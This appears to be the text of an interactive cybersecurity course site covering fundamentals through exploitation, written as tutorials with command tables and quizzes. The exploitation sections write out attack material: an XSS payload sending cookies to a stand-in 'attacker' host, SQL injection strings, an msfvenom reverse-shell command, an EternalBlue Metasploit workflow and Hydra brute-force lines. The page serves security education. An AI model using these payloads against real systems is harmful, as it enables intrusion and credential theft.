⇄ Sync Progress
Share your progress between devices instantly.
CyberSec Hub
Master cybersecurity from zero to advanced. Interactive labs, quizzes, and hands-on activities.
◆ Start Here
- Begin with Foundations → Linux → Termux
- Learn Networking → Recon/OSINT → Scanning
- Practice Ethical Hacking → Exploitation
- Specialize: Bug Bounty, Web Security, Red Team
🔍 Quick Reference
🎯 Daily Challenge
Cybersecurity Foundations
Master the core principles, threats, frameworks, and defense strategies that form the backbone of cybersecurity.
| Command / Term | What it does |
|---|---|
| CIA Triad | Confidentiality (encryption), Integrity (hashing), Availability (redundancy) |
| AAA Framework | Authentication -> Authorization -> Accounting |
| Kill Chain | Recon -> Weaponize -> Deliver -> Exploit -> Install -> C2 -> Actions |
| NIST CSF | Identify, Protect, Detect, Respond, Recover |
| Risk = | Threat x Vulnerability x Impact |
| Controls | Preventive, Detective, Corrective |
| Frameworks | PCI DSS (cards), HIPAA (health), GDPR (EU data), SOC 2 (services) |
| Treatment | Mitigate, Transfer, Accept, Avoid |
The CIA Triad & Core Principles
The CIA Triad (Confidentiality, Integrity, Availability) is the foundational model of information security. Confidentiality ensures data is accessible only to authorized individuals through encryption and access controls. Integrity maintains data accuracy using hashing and digital signatures.
Availability ensures systems are accessible when needed through redundancy, backups, load balancing, and DDoS protection. Beyond CIA, the AAA Framework (Authentication, Authorization, Accounting) provides operational structure for identity and access management.
Authentication verifies identity via passwords, tokens, or biometrics. Authorization determines what an authenticated user can do using RBAC or DAC models. Accounting logs all actions for audit trails. Together, these frameworks guide every security decision.
📝 Quick Quiz
What are the three pillars of the CIA Triad?
Threat Landscape & Attack Vectors
Modern cyber threats include malware (viruses, trojans, ransomware, spyware), social engineering (phishing, pretexting, baiting), and network attacks (MITM, DDoS, packet sniffing). Each targets specific vulnerabilities in systems, networks, or human behavior.
The Cyber Kill Chain maps attacker behavior: Reconnaissance → Weaponization → Delivery → Exploitation → Installation → Command & Control → Actions on Objectives. Understanding this chain helps defenders identify and disrupt attacks at each stage.
Attack vectors include email attachments, malicious websites, USB drives, unpatched software, weak passwords, and insider threats. Defense requires controls at every layer: network, host, application, and data. No single control is sufficient — layered defense is essential.
📝 Quick Quiz
What is the first stage of the Cyber Kill Chain?
Security Frameworks & Compliance
NIST CSF organizes security into five functions: Identify, Protect, Detect, Respond, and Recover. ISO 27001 is the international standard for Information Security Management Systems (ISMS), requiring systematic risk management through Plan-Do-Check-Act cycles.
Compliance frameworks: PCI DSS (payment card data), HIPAA (healthcare data), GDPR (EU personal data), SOC 2 (service organization controls). Each defines specific requirements for protecting sensitive data in its domain.
NIST SP 800-53 catalog offers over 1,000 security controls across 20 families. Organizations select controls based on their risk assessment and compliance requirements. Regular audits verify implementation effectiveness.
📝 Quick Quiz
Which NIST CSF function involves identifying cybersecurity risks?
Risk Management & Defense in Depth
Risk is calculated as Risk = Threat × Vulnerability × Impact. Organizations use qualitative (High/Medium/Low) and quantitative (ALE, SLE, ARO) methods. Defense in Depth uses layered controls: Physical, Network, Host, Application, and Data.
Security controls are Preventive (block attacks), Detective (identify incidents), or Corrective (remediate damage). Effective programs balance all three across every layer of the technology stack.
Risk treatment options: Mitigate (implement controls), Transfer (insurance), Accept (documented decision), Avoid (eliminate the activity). Regular risk assessments ensure controls remain aligned with the evolving threat landscape.
📝 Quick Quiz
What does 'Defense in Depth' refer to?
📝 Quick Quiz
Which component of the AAA framework determines what an authenticated user is allowed to do?
📝 Quick Quiz
Data is silently altered by an attacker. Which CIA pillar has been violated?
📝 Quick Quiz
A company decides to keep a low-likelihood risk without extra controls. Which treatment is this?
📝 Quick Quiz
The PCI DSS framework applies mainly to which kind of data?
Linux Mastery
Complete guide to Linux systems administration, commands, shell scripting, and cybersecurity-specific Linux skills.
| Command / Term | What it does |
|---|---|
apt update / upgrade | Refresh package lists, then upgrade all packages |
chmod 755 file | Owner rwx, group+others rx |
chown user:group | Change file ownership |
find / -perm -4000 | Find SUID binaries |
grep -r "x" dir/ | Recursive text search |
ss -tlnp | List listening TCP ports with processes |
ufw enable | Turn on the firewall; default deny incoming |
systemctl status svc | Check a systemd service |
tar -czvf out.tar.gz dir | Create a compressed archive |
sudo -l | List commands you can run with sudo |
Linux Distributions & Setup
Choosing the right distribution is critical. Kali Linux is the industry standard with 600+ security tools. Parrot OS offers a lighter alternative. BlackArch (Arch-based) has 2,800+ tools. For servers: Ubuntu Server, Debian, Rocky Linux.
Essential directories: /etc (config), /var/log (logs), /home (users), /usr/bin (executables), /tmp (temp). Understanding FHS is fundamental to navigating any Linux system.
Initial setup: sudo apt update && sudo apt upgrade -y. Install essentials: sudo apt install git curl wget vim net-tools -y. Configure firewall: sudo ufw enable && sudo ufw default deny incoming.
📝 Quick Quiz
Which Linux distribution is the industry standard for penetration testing?
Essential Command Line Skills
File navigation: ls -la, cd, cp -r, mv, rm -rf, mkdir -p. Search: find / -name '*.conf' 2>/dev/null. Text processing: grep -r 'failed' /var/log/, awk '{print $1}', sed 's/old/new/g'.
System info: uname -a, df -h, free -m, ps aux, top, ss -tlnp, whoami && id. Pipe combinations create powerful one-liners for log analysis and system monitoring.
Process management: kill -9 PID, pkill -f pattern, nohup command &. File permissions: chmod 755 file, chown user:group file. Package management: apt install/remove/update, dpkg -i package.deb.
📝 Quick Quiz
Which command recursively searches for files by name?
Users, Permissions & Sudo
User management: useradd -m username, passwd username, usermod -aG group user. Permissions: rwxr-xr-- = owner rwx, group r-x, others r-- (754 octal). chmod changes permissions, chown changes ownership.
Critical files: /etc/passwd (accounts), /etc/shadow (passwords), /etc/group (groups). SUID bit (chmod u+s) runs executables as the file owner — a common privesc vector. Audit with find / -perm -4000.
sudo grants temporary root privileges. visudo safely edits /etc/sudoers. SGID and sticky bits add additional permission nuances. Understanding the permission model is essential for both administration and privilege escalation attacks.
📝 Quick Quiz
What does the SUID permission bit do?
Shell Scripting & Automation
Scripts start with #!/bin/bash. Variables: VAR=value (no spaces). Conditionals: if [ "$VAR" = "value" ]; then ... fi. Loops: for i in $(seq 1 10); do echo $i; done. Functions: scan_target() { nmap -sV $1; }.
Error handling: set -e (exit on error), set -u (error on unset vars), trap 'cleanup' EXIT. Exit codes: $? (0 = success). Use $(command) for substitution and tee to log output.
Real-world scripts: automated port scanning, log monitoring, user auditing, backup verification. Schedule with cron: crontab -e → 0 */6 * * * /path/to/scan.sh runs every 6 hours.
📝 Quick Quiz
What does the shebang (#!) specify?
📝 Quick Quiz
Which directory stores system logs on a standard Linux box?
📝 Quick Quiz
What permissions does chmod 755 give the file owner?
📝 Quick Quiz
Which command reports the disk usage of a directory?
📝 Quick Quiz
In /etc/passwd, the x in the password field means:
Termux Complete Guide
Full Termux setup, packages, configuration, and cybersecurity tools for Android-based penetration testing.
| Command / Term | What it does |
|---|---|
pkg install | Install a package (pkg = apt wrapper) |
pkg upgrade -y | Upgrade all Termux packages |
termux-setup-storage | Grant access to shared Android storage |
pkg install openssh | Install SSH client |
ssh user@host | Connect to a remote host |
| ~/storage/shared | Access Android shared storage |
termux-wake-lock | Prevent CPU sleep |
nano script.sh && bash script.sh | Write and run a shell script |
Installation & Initial Setup
Install from F-Droid (recommended) or GitHub — never use Google Play (outdated). Run pkg update && pkg upgrade to sync repositories. Essential packages: pkg install git wget curl vim nano openssh python.
Add pkg install termux-api for Android feature access (camera, GPS, SMS). Configure: edit ~/.bashrc for aliases. Use termux-setup-storage to access shared storage. Install fonts: curl -L https://github.com/termux/termux-packages/files/2949003/FiraCode.zip -o Fira.zip && unzip Fira.zip -d ~/.termux/font.ttf.
SSH server setup: pkg install openssh → sshd (port 8022). Set password: passwd. Connect from PC: ssh -p 8022 user@192.168.x.x. For SOCKS proxy: ssh -D 1080 user@target.
📝 Quick Quiz
Where should you install Termux from?
Package Management & Storage
Termux uses pkg (wrapping apt/dpkg). Commands: pkg update, pkg install, pkg list-installed, pkg search. Clean cache: apt clean && apt autoremove.
Essential security packages: pkg install nmap sqlmap hydra john ruby python. Python: pip install requests beautifulsoup4 scapy. Ruby: gem install bundler. Monitor storage: df -h.
Move large dirs to shared storage: ln -s /sdcard/Download/termux ~/storage. Avoid unnecessary packages — each adds to image size. The Termux repository is a curated subset of Debian packages optimized for Android.
📝 Quick Quiz
What command cleans the package cache?
Termux API & Android Integration
Termux:API app enables hardware access. Commands: termux-camera-photo photo.jpg (capture), termux-location (GPS), termux-clipboard-get (clipboard), termux-battery-status.
Notifications: termux-notification --title 'Alert' --content 'Done'. SMS: termux-sms-send -n phone 'msg'. Vibrate: termux-vibrate -d 500. Useful for automated security monitoring scripts on Android.
Wi-Fi: termux-wifi-scaninfo (scan nearby networks). Bluetooth: termux-bluetooth-scaninfo. Combine with security tools for mobile reconnaissance and network analysis capabilities.
📝 Quick Quiz
What companion app enables Android hardware access from Termux?
Security Toolchains on Termux
Mobile pentesting stack: pkg install nmap sqlmap hydra john nikto. For Metasploit: pkg install ruby → clone from GitHub. Network analysis: pkg install tshark tcpdump.
SQL injection: sqlmap -u 'http://target/page?id=1' --dbs. SSH brute force: hydra -l admin -P wordlist.txt ssh://target. Password cracking: john --wordlist=wordlist.txt hash.txt.
Combine tools in scripts for automated workflows: reconnaissance → scanning → exploitation. Use cron for scheduled scans. Termux turns any Android device into a portable security workstation.
📝 Quick Quiz
Which tool is used for automated SQL injection attacks?
📝 Quick Quiz
Which package manager is native to Termux?
📝 Quick Quiz
Which command gives Termux access to shared Android storage?
📝 Quick Quiz
Termux can run a full Linux environment on Android:
📝 Quick Quiz
Which command upgrades every package in Termux?
Networking Deep Dive
Complete networking: protocols, OSI model, subnetting, routing, and network security fundamentals.
| Command / Term | What it does |
|---|---|
| OSI model | L1 Physical, L2 Data Link, L3 Network, L4 Transport, L5+ |
| TCP vs UDP | TCP: reliable/ordered. UDP: fast/no handshake |
| Ports | 22 SSH, 80 HTTP, 443 HTTPS, 53 DNS, 25 SMTP, 3306 MySQL |
| Subnet /24 | 255.255.255.0 = 254 usable hosts |
| DNS records | A (IPv4), AAAA (IPv6), MX (mail), CNAME (alias), TXT |
| HTTP methods | GET, POST, PUT, DELETE, OPTIONS, HEAD |
| netstat -tln | Show listening TCP ports |
curl -v URL | Verbose HTTP request |
OSI Model & TCP/IP Stack
The OSI Model has 7 layers: Physical (cables), Data Link (MAC, switches), Network (IP, routing), Transport (TCP/UDP), Session (connections), Presentation (encryption), Application (HTTP, DNS).
TCP/IP Model (4 layers): Network Access (OSI 1-2), Internet (OSI 3), Transport (OSI 4), Application (OSI 5-7). TCP is connection-oriented (three-way handshake). UDP is connectionless and faster.
Key protocols: Layer 2 — ARP, STP. Layer 3 — ICMP, IPsec, OSPF. Layer 4 — TCP (80, 443, 22), UDP (53, 161). Layer 7 — HTTP, DNS, SMTP, FTP, SSH. Each protocol's behavior defines how attacks and defenses work.
📝 Quick Quiz
Which OSI layer handles IP addressing and routing?
IP Addressing & Subnetting
IPv4: 32-bit, four octets (e.g., 192.168.1.100). Private ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16. IPv6: 128-bit, eight hex groups. Classes: A (/8), B (/16), C (/24).
Subnetting: /25 = 126 hosts, /26 = 62, /27 = 30, /28 = 14, /29 = 6, /30 = 2 (point-to-point). Calculate: 2^(32-prefix) - 2 usable hosts. VLSM enables variable-length subnet masks.
Tools: ip addr show, ip route show, traceroute target, dig target, arp -a. CIDR notation simplifies subnet representation. Supernetting aggregates routes for efficient routing tables.
📝 Quick Quiz
How many usable hosts are in a /28 subnet?
TCP, UDP & Core Protocols
TCP: reliable, ordered delivery via SYN → SYN-ACK → ACK handshake. Flags: SYN, ACK, FIN, RST, PSH, URG. Teardown: FIN → ACK → FIN → ACK. Sequence numbers ensure data integrity.
UDP: connectionless, faster. Used for DNS (53), DHCP (67/68), streaming, VoIP. UDP floods and DNS amplification exploit its simplicity for DoS attacks.
Critical protocols: DNS (53), ARP (Layer 2 — spoofing enables MITM), DHCP (67/68), ICMP (ping, traceroute), SMTP (25/587), SNMP (161). Understanding each protocol's behavior is essential for both attack and defense.
📝 Quick Quiz
What is the TCP three-way handshake sequence?
Network Security Devices & Tools
Firewalls: Packet filtering (header inspection), Stateful (tracks connection state), NGFW (DPI, IPS, application awareness). Host-based: iptables, ufw. Each type provides different levels of protection.
IDS vs IPS: IDS alerts passively. IPS actively blocks threats. Signature-based detection uses known patterns. Anomaly-based establishes baselines and flags deviations.
Tools: tcpdump -i eth0 (capture), wireshark (GUI analysis), nmap -sV target (scanning), netcat -lvnp 4444 (listener), arp-scan --localnet (discovery). Wireshark filters: tcp.port==443.
📝 Quick Quiz
What is the difference between IDS and IPS?
📝 Quick Quiz
At which OSI layer does a router make forwarding decisions?
📝 Quick Quiz
Which protocol translates domain names into IP addresses?
📝 Quick Quiz
What is the default subnet mask for a /24 network?
📝 Quick Quiz
Which port is the default for HTTPS?
Reconnaissance & OSINT
Master information gathering, OSINT tools, passive recon, and target profiling for security assessments.
| Command / Term | What it does |
|---|---|
whois target.com | Domain registration info |
dig target.com | DNS records |
| Google Dorking | site: filetype: intitle: inurl: intext: |
| Shodan | Search internet-exposed devices |
| theHarvester -d target.com | Collect emails/subdomains |
| OSINT sources | Social media, job posts, leaked dbs, censys |
| nslookup target.com | Resolve domain to IP |
| Reverse whois | Find other domains by same registrant |
Passive vs Active Recon
Passive recon: no direct target contact. Sources: DNS records, WHOIS, search engines, social media, job postings, public records. Tools: theHarvester, Maltego, Google Dorks, Shodan.
Active recon: direct interaction. Port scanning (nmap), service enumeration, OS detection, banner grabbing. Generates traffic that may be logged. Always ensure authorization first.
Recon-ng automates OSINT workflows. SpiderFoot correlates intelligence across 200+ modules. OSRFramework checks username availability across 300+ sites. Use these to build comprehensive target profiles.
📝 Quick Quiz
Which type of recon involves direct interaction with the target?
OSINT Tools & Techniques
Google Dorks: site:target.com filetype:pdf, inurl:admin login, intitle:'index of' password. Shodan indexes internet devices — search by port, country, vulnerability.
theHarvester: theHarvester -d target.com -b google,bing,linkedin. Maltego visualizes entity relationships. Recon-ng provides Metasploit-like OSINT automation.
Social OSINT: Sherlock checks username availability. Metagoofil extracts document metadata. ExifTool reads GPS from images. Wayback Machine reveals deleted content.
📝 Quick Quiz
Which tool indexes internet-connected devices for recon?
Subdomain & DNS Enumeration
DNS enumeration: DNSRecon: dnsrecon -d target.com -t std. Sublist3r: sublist3r -d target.com. Amass: amass enum -d target.com. Combine results for maximum coverage.
DNS record types: A (IPv4), AAAA (IPv6), CNAME (aliases), MX (mail), NS (nameservers), TXT (SPF/DKIM), SOA (zone info). Use dig target.com ANY to query all records.
Certificate Transparency: crt.sh reveals all certificates issued for a domain, exposing subdomains. Validate with httpx -l subs.txt -silent to find live hosts. Subfinder and assetfinder add additional sources.
📝 Quick Quiz
Which DNS record type specifies mail servers?
Target Profiling & Footprinting
Build profiles: Infrastructure (IP ranges, cloud, CDN, WAF), Technology (server, frameworks, CMS), People (names, roles, emails), Business (org chart, partnerships).
Tech fingerprinting: Wappalyzer, WhatWeb (whatweb target.com), BuiltWith. HTTP headers: curl -I target.com reveals Server, X-Powered-By.
Network mapping: traceroute, BGP data from bgp.he.net, WHOIS. Combine all sources into a structured report for the engagement team. Organize findings by attack surface area.
📝 Quick Quiz
What tool identifies the technology stack of a website?
📝 Quick Quiz
Which service returns domain registration and registrar information?
📝 Quick Quiz
Using Google search operators to find exposed files is called:
📝 Quick Quiz
Which service indexes internet-exposed devices and banners?
📝 Quick Quiz
Passive footprinting means:
Scanning & Enumeration
Master port scanning, service enumeration, vulnerability scanning, and network mapping techniques.
| Command / Term | What it does |
|---|---|
nmap -sV -sC -p- host | Version+scripts, all ports |
nmap -O host | OS detection |
nmap -sU host | UDP scan |
nmap --script vuln host | Run vulnerability scripts |
masscan -p1-65535 host | Fast port sweep |
gobuster dir -u URL -w wordlist | Directory brute force |
nikto -h host | Web server scanner |
nc -zv host port | Netcat port probe |
Port Scanning with Nmap
TCP Connect: nmap -sT target (full handshake). SYN Scan: nmap -sS target (default, stealthy). ACK Scan: nmap -sA target (maps firewall rules). UDP Scan: nmap -sU target.
Service detection: nmap -sV -sC target. OS detection: nmap -O target. Aggressive: nmap -A target (OS + version + scripts + traceroute). Full ports: nmap -p- target (all 65,535).
NSE scripts: --script=http-enum, --script=smb-enum-shares, --script=vuln. Output: -oN (normal), -oX (XML), -oG (grepable), -oA (all). Timing: -T0 (paranoid) to -T5 (insane).
📝 Quick Quiz
What Nmap flag performs a stealthy SYN scan?
Service Enumeration
SMB: enum4linux -a target, smbclient -L //target, rpcclient -U '' target. Reveals shares, users, policies. SMBv1 vulnerable to EternalBlue (MS17-010).
SNMP: snmpwalk -v2c -c public target. Default strings: public, private. onesixtyone -c community.txt target brute-forces strings. SNMPv3 with auth is preferred.
LDAP: ldapsearch -x -h target -b 'dc=domain,dc=com'. DNS Zone Transfer: dig axfr target.com @ns1.target.com. RPC: rpcinfo -p target. Each protocol leaks information for lateral movement.
📝 Quick Quiz
What is a default SNMP community string?
Vulnerability Scanning
Nessus is the industry-standard vulnerability scanner. OpenVAS (Greenbone) is the open-source alternative. Both scan for misconfigurations, missing patches, and known CVEs with CVSS scores.
Nikto: nikto -h target.com — outdated software, dangerous files, misconfigurations. WPScan: wpscan --url target.com --enumerate vp,vt,u — WordPress vulnerabilities.
Databases: NVD (CVE entries), Exploit-DB (public exploits), CVSS (severity 0-10). Cross-reference scanner results with exploit databases to prioritize remediation based on real-world exploitability.
📝 Quick Quiz
What is the open-source alternative to Nessus?
Network Mapping & OS Detection
Ping Sweep: nmap -sn 192.168.1.0/24. ARP scan: nmap -sn -PR 192.168.1.0/24 (local only, undetectable). Discover all live hosts before scanning services.
OS Detection: nmap -O --osscan-guess target. TTL analysis: Linux=64, Windows=128, Cisco=255. TCP window size and options also fingerprint OS.
Topology mapping: netdiscover -r 192.168.1.0/24, masscan (millions of IPs/sec). Combine results into a network diagram showing hosts, services, and trust relationships.
📝 Quick Quiz
What is the default TTL for most Linux systems?
📝 Quick Quiz
Which nmap option performs a TCP connect scan?
📝 Quick Quiz
Which nmap option enables service/version detection?
📝 Quick Quiz
Nmap marks a port as what when a firewall drops the probe?
📝 Quick Quiz
Enumeration mainly extracts:
Ethical Hacking Methodology
Learn the complete ethical hacking process: planning, reconnaissance, scanning, exploitation, and reporting.
| Command / Term | What it does |
|---|---|
| Phases | Pre-engagement -> Recon -> Scanning -> Exploit -> Post -> Report |
| White box | Full info provided |
| Black box | No prior info |
| Grey box | Partial info |
| Docs | Rules of Engagement (ROE), scope, permission letter |
| Standards | PTES, OWASP WSTG, OSSTMM |
| Report | Executive summary, findings, evidence, remediation |
| Retest | Verify fixes after report |
Methodology & Rules of Engagement
Five phases: Planning (scope, ROE), Reconnaissance (information gathering), Scanning (enumeration), Exploitation (gaining access), Reporting (findings, recommendations).
Rules of Engagement: target systems, testing windows, allowed techniques, communication channels, emergency contacts. Get authorization in writing — without it, testing is illegal under CFAA.
Engagement types: Black Box (no knowledge), Grey Box (partial), White Box (full access). Each has different time requirements and coverage. Set clear goals for the assessment.
📝 Quick Quiz
What engagement type provides no prior knowledge to the tester?
Exploitation Techniques
Exploitation uses discovered vulnerabilities to gain access. Metasploit Framework: msfconsole → search eternalblue → use exploit/... → set RHOSTS target → exploit. Provides payloads for shells, meterpreter sessions.
Web exploitation: SQL Injection: sqlmap -u 'http://target/page?id=1' --dbs. XSS: inject malicious scripts. CSRF: forge unauthorized requests. File Upload: bypass filters for web shells.
Password attacks: Hydra: hydra -l admin -P wordlist.txt ssh://target. John the Ripper: john --wordlist=rockyou.txt hash.txt. Hashcat: GPU-accelerated cracking. Medusa: parallel brute force.
📝 Quick Quiz
What framework provides exploit modules and payloads?
Social Engineering
Phishing: fraudulent emails mimicking trusted entities to steal credentials or deliver malware. Spear phishing targets specific individuals using gathered intel. Pretexting creates fabricated scenarios to manipulate targets.
Tools: GoPhish (phishing campaigns), SET (Social Engineering Toolkit), Evilginx2 (real-time proxy phishing that bypasses MFA). Create convincing lures using OSINT data about the target organization.
Defense: security awareness training, email filtering, MFA, URL scanning, and simulated phishing campaigns. Test employee resilience and measure improvement over time. Document all findings for the engagement report.
📝 Quick Quiz
What is spear phishing?
Reporting & Documentation
Reports should include: Executive Summary (non-technical overview), Methodology (tools, techniques, scope), Findings (vulnerabilities with severity ratings), Recommendations (remediation steps).
Severity ratings: Critical (immediate exploitation), High (significant impact), Medium (requires specific conditions), Low (limited impact), Informational (best practice). Use CVSS scores for consistency.
Tools: Pwndoc (reporting framework), Ghostwriter (collaborative reporting), Dradis (evidence management). Include screenshots, code snippets, and reproduction steps. Deliver reports securely via encrypted channels.
📝 Quick Quiz
What should be included in every penetration test report?
📝 Quick Quiz
Which penetration testing phase happens before any testing begins?
📝 Quick Quiz
In a white-box test, the tester:
📝 Quick Quiz
Rules of Engagement specify:
📝 Quick Quiz
In the Cyber Kill Chain, what follows Delivery?
Exploitation & Exploit Development
Master exploitation frameworks, exploit development basics, and post-exploitation techniques.
| Command / Term | What it does |
|---|---|
msfconsole | Launch Metasploit |
msfvenom -p linux/x64/shell_reverse_tcp LHOST= IP LPORT= PORT -f elf | Generate payload |
searchsploit term | Search Exploit-DB |
| Reverse shell | Target connects back to you |
| Bind shell | You connect to a listener on target |
| Meterpreter | Advanced interactive Metasploit payload |
search exploit | Search modules: search eternalblue |
use / set / run | Select module, set options, execute |
Metasploit Framework Deep Dive
Metasploit architecture: Exploits (vulnerability code), Payloads (code execution), Auxiliary (scanning/fuzzing), Post (post-exploitation), Encoders (evasion). msfconsole is the primary interface.
Workflow: search eternalblue → use exploit/windows/smb/ms17_010_eternalblue → show options → set RHOSTS target → set PAYLOAD windows/x64/meterpreter/reverse_tcp → set LHOST attacker → exploit.
Meterpreter commands: sysinfo, getuid, hashdump, screenshot, download file, upload shell.exe, shell, migrate PID. Use background to keep sessions while multitasking.
📝 Quick Quiz
What is the primary interface for Metasploit?
Buffer Overflows & Memory Corruption
A buffer overflow occurs when data exceeds buffer bounds, overwriting adjacent memory. Overwrite the return address (EIP/RIP) to redirect execution to shellcode. Stack overflows exploit local variables; heap overflows target dynamic memory allocation.
Exploitation steps: 1) Find vulnerability (fuzzing), 2) Determine offset (pattern_create/pattern_offset), 3) Control EIP, 4) Find bad characters, 5) Locate shellcode space, 6) Bypass protections (ASLR, DEP, canaries).
Protections: ASLR (randomizes addresses), DEP/NX (non-executable stack), Stack Canaries (detect overflows), PIE (position-independent executables). Bypass: ROP chains, information leaks, brute force.
📝 Quick Quiz
What does ASLR do to prevent buffer overflows?
Web Application Exploitation
SQL Injection: inject SQL via input fields. ' OR '1'='1 bypasses auth. ' UNION SELECT null,username,password FROM users-- extracts data. Blind SQLi: infer data via boolean/time responses.
XSS: <script>document.location='http://attacker/steal?c='+document.cookie</script>. Reflected: in URL parameters. Stored: in database. DOM-based: client-side. Bypass filters: event handlers, encoding, polymorphic payloads.
CSRF: forge requests that execute when authenticated user visits attacker's page. SSRF: make server access internal resources. XXE: inject XML entities to read files or SSRF. Deserialization: exploit unsafe object reconstruction for RCE.
📝 Quick Quiz
What type of XSS persists in the database?
Client-Side Attacks
Phishing payloads: craft malicious documents (Word macros, PDF exploits, HTA files). Macro embedding: VBA scripts that download and execute payloads. Bypass email filters with password-protected archives.
Browser exploitation: use tools like Browser Exploitation Framework (BeEF) to hook browsers via XSS. Social Engineering Toolkit (SET) generates credential harvesting pages and drive-by downloads.
Defense: endpoint detection (EDR), application whitelisting, macro policies, browser isolation, and security awareness training. Test defenses by simulating realistic phishing campaigns and measuring click rates.
📝 Quick Quiz
What tool hooks browsers for post-exploitation?
📝 Quick Quiz
Which Metasploit payload gives an interactive, scriptable session?
📝 Quick Quiz
A buffer overflow occurs when:
📝 Quick Quiz
The component that runs after a vulnerability is triggered is the:
📝 Quick Quiz
A NOP sled is used to:
Bug Bounty
Learn to find and report vulnerabilities for rewards through bug bounty programs and responsible disclosure.
| Command / Term | What it does |
|---|---|
| Recon first | Enumerate subdomains: amass, subfinder |
| Check scope | Only test in-scope assets |
| Report template | Title, severity, steps, impact, fix |
| Common bugs | IDOR, XSS, SSRF, info disclosure, weak auth |
| Disclosure | Coordinated/Responsible > public |
| Start | Small programs, read policy carefully |
| Tools | Burp Suite, nuclei, waybackurls |
| Severity | CRITICAL > HIGH > MEDIUM > LOW > INFO |
Bug Bounty Platforms & Programs
HackerOne, Bugcrowd, Intigriti, and YesWeHack connect researchers with programs. Private programs (invite-only) pay more. Government programs (e.g., VDP) have specific scope and rules.
Read program scope carefully: in-scope domains, out-of-scope items, allowed testing methods, and reward ranges. Respect Rules of Engagement — testing outside scope can have legal consequences.
Start with public programs to build reputation. As your reputation grows, you'll receive private invites. Focus on quality over quantity — one critical finding pays more than dozens of informational reports.
📝 Quick Quiz
Which platform is one of the largest bug bounty platforms?
Finding High-Value Vulnerabilities
Focus on impact: Authentication bypass, authorization flaws (IDOR), SQL injection, RCE, SSRF. These pay premium bounties. Test for logic flaws — automated scanners miss business logic vulnerabilities.
Methodology: Recon (subdomains, tech stack) → Map (endpoints, parameters) → Fuzz (inputs, parameters) → Exploit (chaining vulnerabilities). Use Burp Suite for intercepting and modifying requests.
Automate what you can, but focus on manual testing for logic flaws. Test each endpoint for: parameter manipulation, IDOR, rate limiting, access control, input validation, and error handling.
📝 Quick Quiz
Which vulnerability type often pays premium bounties?
Tools & Techniques for Bug Bounty
Burp Suite: intercept proxy, repeater (manual testing), intruder (automated fuzzing), decoder (encoding/decoding). Essential for web application testing. OWASP ZAP is a free alternative.
Automation: Nuclei (template-based scanning), ffuf (web fuzzing), httpx (HTTP probing), Subfinder (subdomain discovery). Combine into pipelines: subfinder -d target | httpx | nuclei.
Recon automation: Amass, Sublist3r, Arjun (parameter discovery), Arjun. Keep detailed notes — revisit targets periodically as new endpoints and features are deployed.
📝 Quick Quiz
What tool is essential for intercepting and modifying web requests?
Writing Effective Reports
Structure: Title (clear, specific), Summary (one paragraph), Impact (business impact), Steps to Reproduce (detailed, reproducible), Proof of Concept (screenshots, requests/responses), Remediation (specific fix).
Be professional: avoid aggressive language, don't demand rewards, and provide clear value. Write reports for the reader (usually non-technical managers). Include CVSS scores for severity assessment.
Follow up politely if no response within the program's SLA. If disputed, provide additional context or escalate through the platform's mediation process. Build relationships with triage teams for faster processing.
📝 Quick Quiz
What is the most important element of a bug bounty report?
📝 Quick Quiz
Responsible disclosure means:
📝 Quick Quiz
Which bug class is often a great first find for beginners?
📝 Quick Quiz
You discover a vulnerability in an out-of-scope asset. You should:
📝 Quick Quiz
A strong bug report includes:
Tools Master Reference
Comprehensive reference of cybersecurity tools: installation, usage, and practical examples.
| Command / Term | What it does |
|---|---|
| Burp Suite | Intercept/modify HTTP traffic |
| Wireshark | Analyze pcap network captures |
hydra -l admin -P pass.txt host ssh | Brute force login |
john rockyou.txt | Crack password hashes |
sqlmap -u URL --dbs | Automate SQL injection |
gobuster | Directory/subdomain brute forcing |
nikto | Web vulnerability scanner |
hashcat -m 0 hash.txt wordlist | GPU hash cracking |
Scanning & Enumeration Tools
Nmap: port scanning, service detection, OS fingerprinting. nmap -sV -sC -O target. Masscan: fastest port scanner (millions of IPs/sec). masscan 0.0.0.0/0 -p0-65535 --rate 10000.
Enum4linux: SMB enumeration. enum4linux -a target. Snmpwalk: SNMP enumeration. Nikto: web server scanner. Dirb/Gobuster: directory brute forcing.
Amass: OWASP subdomain enumeration. Subfinder: passive subdomain discovery. httpx: HTTP probing. Combine into automated recon pipelines for efficient target discovery.
📝 Quick Quiz
Which tool is the fastest port scanner available?
Exploitation & Post-Exploitation
Metasploit: exploitation framework with 2,000+ exploits. SearchSploit: offline Exploit-DB search. Empire: PowerShell post-exploitation. Cobalt Strike: commercial C2 framework.
Post-exploitation: Mimikatz (credential dumping), BloodHound (AD attack path mapping), CrackMapExec (network pivoting), Responder (LLMNR/NBT-NS poisoning).
Privilege escalation: LinPEAS/WinPEAS (automated enumeration), GTFOBins (Linux privesc), LOLBAS (Windows living-off-the-land), SUID binary enumeration.
📝 Quick Quiz
What tool maps Active Directory attack paths?
Web Application Security Tools
Burp Suite: intercept proxy, scanner, intruder, repeater. OWASP ZAP: free alternative with automated scanning. SQLMap: automated SQL injection. Nikto: web server vulnerabilities.
WPScan: WordPress security scanner. WPScan: wpscan --url target --enumerate vp,vt,u. Dirb/Gobuster: directory enumeration. Wfuzz: web application fuzzer.
Specialized: XSStrike (XSS detection), Commix (command injection), XXEinjector (XXE exploitation), SSRFmap (SSRF exploitation). Each tool targets specific vulnerability classes.
📝 Quick Quiz
What is the primary tool for intercepting web traffic?
Password Cracking & Forensics
John the Ripper: john --wordlist=rockyou.txt hash.txt. Hashcat: GPU-accelerated, hashcat -m 0 hash.txt wordlist.txt. Supports 300+ hash modes. Hydra: network login brute force.
Forensics: Autopsy (disk analysis), Volatility (memory forensics), Binwalk (firmware analysis), ExifTool (metadata extraction), FTK Imager (disk imaging).
Network forensics: Wireshark (packet analysis), tshark (CLI packet capture), NetworkMiner (network forensic analysis). Capture and analyze traffic for incident investigation.
📝 Quick Quiz
Which tool provides GPU-accelerated password cracking?
📝 Quick Quiz
Which tool intercepts and modifies HTTP traffic for web testing?
📝 Quick Quiz
Which tool analyzes pcap network captures?
📝 Quick Quiz
Which tool brute-forces web directories and subdomains?
📝 Quick Quiz
Which tool automates SQL injection exploitation?
Privilege Escalation
Techniques for escalating privileges on Linux and Windows systems after initial access.
| Command / Term | What it does |
|---|---|
sudo -l | Check sudo permissions |
find / -perm -4000 2>/dev/null | Find SUID binaries |
linpeas.sh | Automated Linux enumeration |
winpeas.exe | Automated Windows enumeration |
| kernel exploits | Match kernel version to CVE |
| unquoted service path | Windows service exploit |
crontab -l | List scheduled tasks |
